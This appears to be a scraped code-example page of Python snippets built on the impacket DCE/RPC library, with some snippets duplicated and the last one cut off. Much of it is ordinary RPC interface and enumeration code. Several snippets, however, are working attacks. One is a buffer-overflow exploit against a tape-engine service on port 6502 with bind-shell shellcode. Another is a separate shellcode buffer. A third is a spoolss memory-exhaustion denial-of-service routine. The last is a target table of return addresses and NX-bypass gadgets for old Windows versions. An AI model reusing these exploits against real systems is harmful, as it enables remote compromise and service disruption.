       request += "\x95\x8a\x68\x75\xc4\x6e\x08\x4c\x6b\x63\xa8\xa1\xbf\x73\xe2\xc1"
       request += "\xe3\x43\x68\xa3\x8c\x4b\xff\x4b\x23\x5e\x38\x4e\x6b\x2c\xd3\xa1"
       request += "\xa0\x63\x68\x5a\xfc\xc2\x68\x6a\xe8\x31\x8b\xa4\xae\x61\x0f\x7a"
       request += "\x1f\xb9\x85\x79\x86\x07\xd0\x18\x88\x18\x90\x18\xbf\x3b\x1c\xfa"
       request += "\x88\xa4\x0e\xd6\xdb\x3f\x1c\xfc\xbf\xe6\x06\x4c\x61\x82\xeb\x28"
       request += "\xb5\x05\xe1\xd5\x30\x07\x3a\x23\x15\xc2\xb4\xd5\x36\x3c\xb0\x79"
       request += "\xb3\x3c\xa0\x79\xa3\x3c\x1c\xfa\x86\x07\xf2\x76\x86\x3c\x6a\xcb"
       request += "\x75\x07\x47\x30\x90\xa8\xb4\xd5\x36\x05\xf3\x7b\xb5\x90\x33\x42"
       request += "\x44\xc2\xcd\xc3\xb7\x90\x35\x79\xb5\x90\x33\x42\x05\x26\x65\x63"
       request += "\xb7\x90\x35\x7a\xb4\x3b\xb6\xd5\x30\xfc\x8b\xcd\x99\xa9\x9a\x7d"
       request += "\x1f\xb9\xb6\xd5\x30\x09\x89\x4e\x86\x07\x80\x47\x69\x8a\x89\x7a"
       request += "\xb9\x46\x2f\xa3\x07\x05\xa7\xa3\x02\x5e\x23\xd9\x4a\x91\xa1\x07"
       request += "\x1e\x2d\xcf\xb9\x6d\x15\xdb\x81\x4b\xc4\x8b\x58\x1e\xdc\xf5\xd5"
       request += "\x95\x2b\x1c\xfc\xbb\x38\xb1\x7b\xb1\x3e\x89\x2b\xb1\x3e\xb6\x7b"
       request += "\x1f\xbf\x8b\x87\x39\x6a\x2d\x79\x1f\xb9\x89\xd5\x1f\x58\x1c\xfa"
       request += "\x6b\x38\x1f\xa9\x24\x0b\x1c\xfc\xb2\x90\x33\x42\x10\xe5\xe7\x75"
       request += "\xb3\x90\x35\xd5\x30\x6f\xe3\x2a"

       dce.call(43, request)
Exemplo n.º 26
0
def main(args):
  if len(args) != 4:
    print "usage: opdump.py hostname port interface version"
    return 1

  host, port, interface, version = args[0],  int(args[1]), args[2], args[3]

  stringbinding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(stringbinding)
  trans.set_dport(port)

  results = []
  for i in range(256):
    dce = trans.get_dce_rpc()
    dce.connect()

    iid = uuid.uuidtup_to_bin((interface, version))
    dce.bind(iid)

    dce.call(i, "")
    try:
      dce.recv()
    except Exception as e:
      result = str(e)
    else:
      result = "success"

    dce.disconnect()

    results.append(result)

  # trim duplicate suffixes from the back
  suffix = results[-1]
  while results and results[-1] == suffix:
    results.pop()

  for i, result in enumerate(results):
    print "op %d (0x%02x): %s" % (i, i, result)

  print "ops %d-%d: %s" % (len(results), 255, suffix)
Exemplo n.º 27
0
    def bruteforce_uuids(self):
        for tup in sorted(self.__uuids):
            # Is there a way to test multiple UUIDs in a single rpc channel?
            self.__dce.connect()
            binuuid = uuid.uuidtup_to_bin(tup)

            try:
                self.__dce.bind(binuuid)
            except rpcrt.DCERPCException as e:
                # For Windows SMB
                if str(e).find('abstract_syntax_not_supported') >= 0:
                   continue
                # For Samba
                if str(e).find('nca_s_proto_error') >= 0:
                   continue
                # For Samba
                if str(e).find('reason_not_specified') >= 0:
                   continue

            self.handle_discovered_tup(tup)

        logging.info("Tested %d UUID(s)", len(self.__uuids))
Exemplo n.º 28
0
def DCEconnectAndExploit(target):
       trans = transport.TCPTransport(target, 6502)
       trans.connect()
       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837','1.0')))

       request  = '\x10\x09\xf9\x77'
       request += '\x41'*1130
       request += '\x90\x90\x90\x90\xeb\x08' #short jump into nops
       request += '\xd2\x7b\x57\x7c' #call ebx address from kernel32.dll
       request += '\x90' * 32
       #Shellcode to bind shell to TCP port 3334
       request += "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
       request += "\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83"
       request += "\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2"
       request += "\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87"
       request += "\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98"
       request += "\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91"
       request += "\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75"
       request += "\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45"
       request += "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57"
       request += "\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc"
       request += "\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0"
       request += "\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7"
       request += "\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a"
       request += "\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4"
       request += "\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4"
       request += "\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87"
       request += "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f"
       request += "\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3"
       request += "\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68"
       request += "\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65"
       request += "\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e"
       request += "\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63"
       request += "\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e"
       request += "\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91"
       request += "\xba\xa6\xf5\x31\x39\x59\x23\xce"

       dce.call(38, request)
Exemplo n.º 29
0
def EnableDetailLogging(target):
       trans = transport.TCPTransport(target, 6502)
       #On some linux systems the following call to connect may fail due to
       #no support of settimeout in socket module. Comment out that line in
       #transport.py of impacket and run this script

       try:
               trans.connect()
       except:
               print 'Could not connect to target port; Target may not be running tapeeng'
               sys.exit(-1)

       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837','1.0')))

       #RPC request to enable detail logging
       request = '\x00\x04\x08\x0c'
       request += '\x02\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'

       dce.call(43, request)
def EnableDetailLogging(target):
       trans = transport.TCPTransport(target, 6502)
       #On some linux systems the following call to connect may fail due to
       #no support of settimeout in socket module. Comment out that line in
       #transport.py of impacket and run this script

       try:
               trans.connect()
       except:
               print 'Could not connect to target port; Target may not be running tapeeng'
               sys.exit(-1)

       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837','1.0')))

       #RPC request to enable detail logging
       request = '\x00\x04\x08\x0c'
       request += '\x02\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'

       dce.call(43, request)
Exemplo n.º 31
0
    def connect(self, username, password, domain, lmhash, nthash, target, pipe):
        binding_params = {
            'FssagentRpc': {
                'stringBinding': r'ncacn_np:%s[\PIPE\FssagentRpc]' % target,
                'UUID': ('a8e0653c-2744-4389-a61d-7373df8b2292', '1.0')
            },
        }
        rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
        dce = rpctransport.get_dce_rpc()

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)

        dce.set_credentials(*rpctransport.get_credentials())
        dce.set_auth_type(RPC_C_AUTHN_WINNT)
        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        logging.debug("Connecting to %s" % binding_params[pipe]['stringBinding'])
        
        try:
            dce.connect()
        except Exception as e:
            # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
            if str(e).find('STATUS_PIPE_NOT_AVAILABLE') >= 0:
                dce.disconnect()
                return 1

            logging.debug("Something went wrong, check error status => %s" % str(e))            

        logging.debug("Connected!")
        logging.debug("Binding to %s" % binding_params[pipe]['UUID'][0])
        try:
            dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID']))
        except Exception as e:
            logging.debug("Something went wrong, check error status => %s" % str(e))

        logging.debug("Successfully bound!")
        return dce
Exemplo n.º 32
0
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin, string_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.krb5 import crypto
from pyasn1.type import univ
from pyasn1.codec.ber import decoder
from impacket.crypto import transformKey

try:
    from Cryptodome.Cipher import ARC4, DES
except Exception:
    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
    LOG.critical("See https://pypi.org/project/pycryptodomex/")

MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0'))

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__( self ):
        key = self.error_code
        if key in hresult_errors.ERROR_MESSAGES:
            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        elif key & 0xffff in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
Exemplo n.º 33
0
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM
from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER
from impacket import hresult_errors, system_errors
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin, string_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.krb5 import crypto

try:
    from Crypto.Cipher import ARC4, DES
except Exception:
    LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
    LOG.critical("See http://www.pycrypto.org/")

MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0'))

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__( self ):
        key = self.error_code
        if hresult_errors.ERROR_MESSAGES.has_key(key):
            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff):
            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
Exemplo n.º 34
0
    def bind(self, uuid, alter=0, bogus_binds=0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != ntlm.NTLM_AUTH_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials(
                )
            auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE=True)
            auth['auth_level'] = self.__auth_level
            auth['auth_ctx_id'] = self._ctx + 79231

            pad = (8 - (len(packet.get_packet()) % 8)) % 8
            if pad != 0:
                packet['pduData'] = packet['pduData'] + '\xFF' * pad
                auth['auth_pad_len'] = pad
            packet['auth_data'] = str(auth)

        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid
        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0  #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            else:
                raise Exception(
                    'Unknown DCE RPC fault status code: %.8x' % status_code,
                    resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' %
                            resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds + 1, bindResp['ctx_num'] + 1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(
                    result,
                    'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(
                    reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (
                        2, 1
                ):  # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != ntlm.NTLM_AUTH_NONE:
            response, randomSessionKey = ntlm.getNTLMSSPType3(
                auth, bindResp['auth_data'], self.__username, self.__password,
                self.__domain, self.__lmhash, self.__nthash, True)
            response['auth_ctx_id'] = self._ctx + 79231
            response['auth_level'] = self.__auth_level
            self.__flags = response['flags']

            if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT,
                                     ntlm.NTLM_AUTH_PKT_INTEGRITY,
                                     ntlm.NTLM_AUTH_PKT_PRIVACY):
                if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                    self.__clientSigningKey = ntlm.SIGNKEY(
                        self.__flags, randomSessionKey)
                    self.__serverSigningKey = ntlm.SIGNKEY(
                        self.__flags, randomSessionKey, "Server")
                    self.__clientSealingKey = ntlm.SEALKEY(
                        self.__flags, randomSessionKey)
                    self.__serverSealingKey = ntlm.SEALKEY(
                        self.__flags, randomSessionKey, "Server")
                    # Preparing the keys handle states
                    cipher3 = ARC4.new(self.__clientSealingKey)
                    self.__clientSealingHandle = cipher3.encrypt
                    cipher4 = ARC4.new(self.__serverSealingKey)
                    self.__serverSealingHandle = cipher4.encrypt
                else:
                    # Same key for everything
                    self.__clientSigningKey = randomSessionKey
                    self.__serverSigningKey = randomSessionKey
                    self.__clientSealingKey = randomSessionKey
                    self.__serverSealingKey = randomSessionKey
                    cipher = ARC4.new(self.__clientSigningKey)
                    self.__clientSealingHandle = cipher.encrypt
                    self.__serverSealingHandle = cipher.encrypt

            self.__sequence = 0

            auth3 = MSRPCHeader()
            auth3['type'] = MSRPC_AUTH3
            auth3['auth_data'] = str(response)

            # Use the same call_id
            self.__callid = resp['call_id']
            auth3['call_id'] = self.__callid
            self._transport.send(auth3.get_packet(), forceWriteAndx=1)
            self.__callid += 1

        return resp  # means packet is signed, if verifier is wrong it fails
Exemplo n.º 35
0
def main(args):
    # Init the example's logger theme
    logger.init()
    if len(args) != 2:
        print("usage: ./ifmap.py <host> <port>")
        return 1

    host = args[0]
    port = int(args[1])

    stringbinding = "ncacn_ip_tcp:%s" % host
    trans = transport.DCERPCTransportFactory(stringbinding)
    trans.set_dport(port)

    dce = trans.get_dce_rpc()
    dce.connect()

    dce.bind(mgmt.MSRPC_UUID_MGMT)

    ifids = mgmt.hinq_if_ids(dce)

    uuidtups = set(
        uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]
                            ['Data'].getData())
        for index in range(ifids['if_id_vector']['count']))

    dce.disconnect()

    probes = uuidtups | uuid_database

    for tup in sorted(probes):

        dce.connect()

        binuuid = uuid.uuidtup_to_bin(tup)
        try:
            dce.bind(binuuid)
        except rpcrt.DCERPCException as e:
            if str(e).find('abstract_syntax_not_supported') >= 0:
                listening = False
            else:
                raise
        else:
            listening = True

        listed = tup in uuidtups
        otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
        if listed or listening:
            if tup[0] in epm.KNOWN_PROTOCOLS:
                print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]))
            else:
                print("Procotol: N/A")

            if uuid.uuidtup_to_bin(tup)[:18] in KNOWN_UUIDS:
                print("Provider: %s" %
                      (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]]))
            else:
                print("Provider: N/A")
            print("UUID     : %s v%s: %s, %s\n" %
                  (tup[0], tup[1], "listed" if listed else
                   "other version listed" if otherversion else "not listed",
                   "listening" if listening else "not listening"))
Exemplo n.º 36
0
#   at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file.
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too.
#

from impacket import system_errors
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.enum import Enum
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_DHCPSRV = uuidtup_to_bin(
    ('6BFFD098-A112-3610-9833-46C3F874532D', '1.0'))
MSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(
    ('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0'))


class DCERPCSessionError(DCERPCException):
    ERROR_MESSAGES = {
        0x00004E2D:
        ("ERROR_DHCP_JET_ERROR",
         "An error occurred while accessing the DHCP server database."),
        0x00004E25: ("ERROR_DHCP_SUBNET_NOT_PRESENT",
                     "The specified IPv4 subnet does not exist."),
        0x00004E54:
        ("ERROR_DHCP_SUBNET_EXISTS",
         "The IPv4 scope parameters are incorrect. Either the IPv4 scope already"
         " exists, corresponding to the SubnetAddress and SubnetMask members of "
Exemplo n.º 37
0
#   so you understand what the call does, and then read the test case located
#   at https://code.google.com/p/impacket/source/browse/#svn%2Ftrunk%2Fimpacket%2Ftestcases%2FSMB_RPC
#
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file. 
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too. 
#
from impacket.dcerpc.v5 import ndr
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, NDRUniFixedArray, NDRPOINTER
from impacket.dcerpc.v5.dtypes import *
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum

MSRPC_UUID_WKST   = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'))

class DCERPCSessionError(Exception):
    def __init__( self, packet = None, error_code = None):
        Exception.__init__(self)
        self.packet = packet
        if packet is not None:
            self.error_code = packet['ErrorCode']
        else:
            self.error_code = error_code
       
    def get_error_code( self ):
        return self.error_code
 
    def get_packet( self ):
        return self.packet
Exemplo n.º 38
0
# Copyright (c) 2003-2012 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# $Id: printer.py 551 2012-05-20 23:12:24Z [email protected] $
#

from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_SPOOLSS   = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))

def zeroize(s):
    return '\x00'.join(str(s)) + '\x00'

class SpoolSS_DevModeContainer(Structure):
    alignment = 4
    structure = (
            ('cbBuf','<L-DevMode'),
            ('pDevMode','<L&DevMode'),
            ('DevMode',':'),
        )

class SpoolSS_OpenPrinter(Structure):
    alignment = 4
    opnum = 1
    structure = (
            ('pPrinterName','<L&PrinterName'),
            ('PrinterName','w'),
Exemplo n.º 39
0
#   so you understand what the call does, and then read the test case located
#   at https://code.google.com/p/impacket/source/browse/#svn%2Ftrunk%2Fimpacket%2Ftestcases%2FSMB-RPC
#
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file.
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too.
#
from struct import unpack, pack
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5 import ndr
from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRPOINTER, NDRPOINTERNULL, NDRUniConformantArray, PNDRUniConformantArray, NDRBOOLEAN, NDRUniFixedArray, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import *

MSRPC_UUID_SCMR = uuidtup_to_bin(
    ('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))


class DCERPCSessionError(Exception):
    def __init__(self, packet=None, error_code=None):
        Exception.__init__(self)
        self.packet = packet
        if packet is not None:
            self.error_code = packet['ErrorCode']
        else:
            self.error_code = error_code

    def get_error_code(self):
        return self.error_code

    def get_packet(self):
Exemplo n.º 40
0
    def run(self):
        self.gom.echo()
        self.gom.echo("Trying to exploit ...")
        self.gom.echo()

        MB = 1024 * 1024
        host = self.target

        if self.wizard:
            res = raw_input("Memory size [1024]: ")

            if res != "":
                self.memorySize = int(res)

        memory_size = MB * self.memorySize
        interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0')

        stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
        stringbinding %= {
            'host': host,
            'pipe': interface[0],
        }

        trans = transport.DCERPCTransportFactory(stringbinding)

        self.gom.echo("[*] Connecting to %s:445" % (host))
        try:
            trans.connect()
        except:
            self.gom.echo("[-] Connect failed")
            return False

        self.gom.echo("[+] Connected")

        dce = trans.DCERPC_class(trans)
        dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))

        query = OpenPrinterEx()
        printer = "\\\\%s\x00" % (host)
        query['printer'] = B1()
        query['printer']['id'] = 0x41414141
        query['printer']['max'] = len(printer)
        query['printer']['actual'] = len(printer)
        query['printer']['str'] = printer.encode('utf_16_le')

        client = "\\\\h07\x00"
        query['client'] = B2()
        query['client']['max'] = len(client)
        query['client']['actual'] = len(client)
        query['client']['str'] = client.encode('utf_16_le')

        user = "******"
        query['user'] = B2()
        query['user']['max'] = len(user)
        query['user']['actual'] = len(user)
        query['user']['str'] = user.encode('utf_16_le')

        dce.call(query.opnum, query)
        raw = dce.recv()
        handle = raw[:20]

        if (handle == ("\x00" * 20)):
            self.gom.echo("[-] ERR: OpenPrinterEx()")
            if (raw[20:] == "\x09\x07\x00\x00"):
                self.gom.echo(
                    "[-] Return code: Invalid printer name (0x00000709)")
            if (raw[20:] == "\x05\x00\x00\x00"):
                self.gom.echo("[-] Return code: Access denied (0x00000005)")
            return False

        query = GetPrinterData()
        value = "blah_blah\x00"
        query['handle'] = handle
        query['value'] = B2()
        query['value']['max'] = len(value)
        query['value']['actual'] = len(value)
        query['value']['str'] = value.encode('utf_16_le')
        query['offered'] = memory_size

        dce.call(query.opnum, query)

        try:
            raw = dce.recv()
            status = raw[:4]
            r_size = raw[4:8]

            if (status == "\x1b\x00\x00\x1c"):
                self.gom.echo("[-] Memory allocation error, out of memory")
                return True
            if (r_size == pack("<L", memory_size)):
                self.gom.echo("[+] Memory allocated!")

        except NetBIOSTimeout, err:
            self.gom.echo("[+] %s" % (err))
            self.gom.echo("[+] %s: Out of memory" % (host))
Exemplo n.º 41
0
# Author: Alberto Solino
#
# Description:
#   SVCCTL (Services Control) interface implementation.
#

import array
import random
from struct import *
from impacket import ImpactPacket
from impacket.structure import Structure
from impacket import dcerpc
from impacket.dcerpc import ndrutils, dcerpc
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_SVCCTL = uuidtup_to_bin(("367ABB81-9844-35F1-AD32-98F038001003", "2.0"))

# Error Codes
ERROR_PATH_NOT_FOUND = 3
ERROR_ACCESS_DENIED = 5
ERROR_INVALID_HANDLE = 6
ERROR_INVALID_DATA = 13
ERROR_INVALID_PARAMETER = 87
ERROR_INSUFICIENT_BUFFER = 122
ERROR_INVALID_NAME = 123
ERROR_INVALID_LEVEL = 124
ERROR_MORE_DATA = 234
ERROR_DEPENDENT_SERVICES_RUNNING = 1051
ERROR_INVALID_SERVICE_CONTROL = 1052
ERROR_SERVICE_REQUEST_TIMEOUT = 1053
ERROR_SERVICE_ALREADY_RUNNING = 1056
Exemplo n.º 42
0
#   There are test cases for them too. 
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
    NULL
from impacket import nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \
    PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \
    SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \
    PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.rpcrt import DCERPCException

MSRPC_UUID_LSAT  = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__( self ):
        key = self.error_code
        if nt_errors.ERROR_MESSAGES.has_key(key):
            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 
            return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code

################################################################################
Exemplo n.º 43
0
    def __DCEPacket(self):
        if (self.os == '1'):
            print 'Windows XP SP0/SP1 Universal\n'
            ret = "\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '2'):
            print 'Windows 2000 Universal\n'
            ret = "\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '3'):
            print 'Windows 2003 SP0 Universal\n'
            ret = "\x9e\x12\x00\x01"  # 0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '4'):
            print 'Windows 2003 SP1 English\n'
            ret_dec = "\x8c\x56\x90\x7c"  # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = "\xf4\x7c\xa2\x7c"  # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = "\xd3\xfe\x86\x7c"  # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = "\x13\xe4\x83\x7c"  # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
